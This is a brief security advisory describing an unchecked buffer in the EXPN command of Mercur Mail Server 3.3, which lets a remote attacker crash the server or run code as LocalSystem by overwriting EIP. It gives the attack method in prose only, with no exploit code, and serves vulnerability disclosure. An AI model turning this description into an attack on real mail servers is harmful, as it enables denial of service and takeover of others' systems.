Atrium Software Mercur Mail Server 3.3 contains an unchecked buffer for the EXPN command which may lead to a denial of service attack or execution of arbitrary code depending on the data entered.

If a remote attacker were to telnet to the SMTP server and enter an overly long string of random characters following the EXPN command, the remote target would crash. The execution of arbitrary code is possible if a carefully crafted string that overwrote the EIP was entered into the buffer. The attacker would be able to perform virtually any action on the remote system under the context of the LocalSystem account.
